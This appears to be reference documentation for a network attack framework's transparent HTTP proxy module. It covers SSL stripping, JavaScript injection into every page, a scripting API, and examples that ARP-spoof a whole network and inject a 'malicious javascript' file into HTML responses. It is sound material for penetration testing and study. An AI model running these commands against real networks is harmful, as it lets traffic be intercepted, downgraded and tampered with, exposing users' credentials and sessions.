http.proxy

A full featured HTTP transparent proxy that can be scripted using JavaScript modules. If used together with a spoofer, all HTTP traffic will be redirected to it and it will automatically handle port redirections as needed.

Start the HTTP proxy.

Stop the HTTP proxy.

ParameterDefaultDescription
http.port80HTTP port to redirect when the proxy is activated.
http.proxy.address<interface address>Address to bind the HTTP proxy to.
http.proxy.blacklistComma separated list of hostnames to skip while proxying (wildcard expressions can be used).
http.proxy.injectjsURL, path or javascript code to inject into every HTML page.
http.proxy.port8080Port to bind the HTTP proxy to.
http.proxy.redirecttrueEnable or disable port redirection with iptables.
http.proxy.scriptPath of a proxy module script.
http.proxy.sslstripfalseEnable or disable SSL stripping.
http.proxy.whitelistComma separated list of hostnames to proxy if the blacklist is used (wildcard expressions can be used).

The http.proxy and https.proxy modules can be scripted using javascript files that must declare at least one of the following functions:

// called when the script is loaded
function onLoad() {
// ...
}
// called when the module is stopped
function onExit() {
// ...
}
// called when the request is received by the proxy
// and before it is sent to the real server.
function onRequest(req, res) {
// ...
}
// called when the request is sent to the real server
// and a response is received
function onResponse(req, res) {
// ...
}
// called every time an unknown session command is typed,
// proxy modules can optionally handle custom commands this way:
function onCommand(cmd) {
if (cmd == "test") {
/*
* Custom session command logic here.
*/
// tell the session we handled this command
return true;
}
}

Modules can change the req request and res response objects, for instance the web-override.cap caplet is using the onRequest function in order to override every request before it is executed with a fake response:

function onRequest(req, res) {
res.Status = 200;
res.ContentType = "text/html";
res.Body = readFile("caplets/www/index.html");
headers = res.Headers.split("\r\n");
for (var i = 0; i < headers.length; i++) {
header_name = headers[i].replace(/:.*/, "");
res.RemoveHeader(header_name);
}
res.SetHeader("Connection", "close");
}

The login-man-abuse.cap caplet instead will use the onResponse handler to inject its malicious javascript file in every html response:

function onResponse(req, res) {
if (res.ContentType.indexOf("text/html") == 0) {
var body = res.ReadBody();
if (body.indexOf("</head>") != -1) {
res.Body = body.replace(
"</head>",
'<script type="text/javascript">' +
"\n" +
AbuserJavascript +
"</script>" +
"</head>"
);
}
}
}

Modules can use the following builtin functions.

log_warn("message")Log a message in the interactive session (its level will be WARNING).
log_error("message")Log a message in the interactive session (its level will be ERROR).
log_fatal("message")Log a message in the interactive session (its level will be FATAL).
log("message")Shortcut for log_info("message").
btoa("message")Encode a message to base64.
atob("bWVzc2FnZQ==")Decode a message from base64.
gzipCompress("plaintext data")Compress a string using gzip encoding.
gzipDecompress(")9�\+�I��+I�(QHI,I����")Decompress a gzip encoded string.
env("iface.ipv4")Read a variable.
env("foo", "bar")Set a variable.
run("command")Execute a shell command and return the output as a string.
fileExists("/path/to/file")Return true if the file exists, otherwise false.
loadJSON("/path/to/file.json")Load and parse a JSON file, returns a JS object.
saveJSON("/path/to/file.json", object)Serialize and save a JS object as JSON to the specified file.
saveToFile("/path.txt", "data")Save raw string data to a file.
onEvent("event.tag", callback)Register a JS callback for the given session event tag.
removeEventListener("event.tag")Remove a previously registered event listener for the given tag.
addSessionEvent("tag", data)Trigger a session event from within the script with a custom tag and payload.

Will ARP spoof the whole network, enable sslstrip and inject a “Hello World” javascript alert to every HTML page being visited:

Terminal window
set http.proxy.injectjs alert("Hello World")
set http.proxy.sslstrip true
http.proxy on
arp.spoof on

Only proxy requests for cnn.com (including subdomains):

Terminal window
set http.proxy.blacklist *
set http.proxy.whitelist cnn.com, *.cnn.com
http.proxy on
